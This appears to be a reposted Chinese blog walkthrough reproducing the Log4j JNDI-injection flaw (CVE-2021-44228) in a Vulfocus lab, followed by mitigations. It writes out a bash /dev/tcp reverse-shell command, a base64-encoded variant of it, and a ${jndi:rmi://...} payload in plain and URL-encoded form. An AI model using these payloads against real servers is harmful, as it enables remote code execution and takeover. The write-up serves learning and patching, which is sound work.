当前位置:网站首页>CVE-2021-44228 Log4j 复现及原理
CVE-2021-44228 Log4j 复现及原理
2022-07-17 05:03:00 【wavesky111】
一、漏洞概述
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,可以让未经身份验证的攻击者获得对目标系统的完全访问权限。
受影响版本:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
二、漏洞原理
1.Log4j是什么
Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。
2.LDAP是什么
轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
3.JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
4.Log4j漏洞原理
本次漏洞是因为Log4j2组件中 lookup功能的实现类JndiLookup的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。 简单来说就是因为输入的字符串没有添加限制,只要是符合${形式就可以。详情请膜拜大佬的文章(https://blog.csdn.net/wuyu7448/article/details/121985812)
三、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
四、实验流程
1.开启vulfocus环境,进入漏洞场景;可以看到提供的端口号为11193


2.开启brup抓包,可以看到注入位置在/hello目录下的一个payload位置,并且是get提交的数据

3.开启侦听,端口号设为2333

4.构造攻击payload执行命令反弹shell
原始口令:bash -i >& /dev/tcp/IP/Port 0>&1 (IP:192.168.117.131 Port:2333)
经过base64编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9Qb3J0IDA+JjE=}|{base64,-d}|{bash,-i}
原因:由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
5.使用JNDI注入,反弹shell并发送
①这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,并选取如图标识出的rmi

②利用漏洞地址去访问本地的JNDI服务
命令:payload=${jndi:获取的rmi} (rmi://192.168.117.131:1099/cwzhna)
URL编码:payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.117.131%3A1099%2Fcwzhna%7D

6.查看结果,可以看到反弹shell成功

7.获取flag,复现完成


六、修复方式
1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)
2.设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
3.升级到官方最新版本:https://logging.apache.org/log4j/2.x/download.html
七、Poc
1.Poc_CVE-2021-44228 - wavesky - 博客园
2.Poc/Poc_CVE-2021-44228.py at main · wave-to/Poc · GitHub
八、写在后面
刚发现Vulfocus这个漏洞搭建平台,对我这种复现一个漏洞就要花好长时间搭建环境的简直太友好了。搭建过程详情见:https://blog.csdn.net/lza20001103/article/details/124367290
边栏推荐
猜你喜欢
[email protected] : `node install. Problems of js`"/>solve [email protected] : `node install. Problems of js`

ThreadLocal线程安全示例及其原理

DSL search results processing, including sorting, paging, highlighting

DirectExchange交换机的简单使用。

Basic operations of index library operation

Quickly master Mipi development strategy

Blessing for the elderly popular short video wechat applet source code download support traffic master

thinkphp 官网教程

mysql主从架构和读写分离、以及高可用架构
[论文精读]BERT
随机推荐
CKA 核心知识点概述
[论文精读]BERT
NoSQL概述
浅聊全局过滤器
Database learning notes (I) retrieval data
RestClient操作文档
shardingproxy分库分表实战及同类产品对比
Notes on Advanced Mathematics: second derivative of composite function and curvature of solving parametric equation
Mysql database table a data synchronization to table b
【FPGA教程案例27】通过Verilog实现双口RAM乒乓结构
Construction and application of knowledge map de (VI): storage, service and quality of knowledge map
DSL search results processing, including sorting, paging, highlighting
负载均衡器ribbon实战
用FastApi进行WEB开发
es的一些概念
知识图谱de构建与应用(六):知识图谱的存储、服务与质量
老年祝福火爆短视频微信小程序源码下载支持流量主
Warriors of the Visual Studio, Assemble! (warriors of visual studio, assemble!) Original 19:40:00 on July 12, 2009 label: compilation /mic
微众对接机制备忘
Es document operation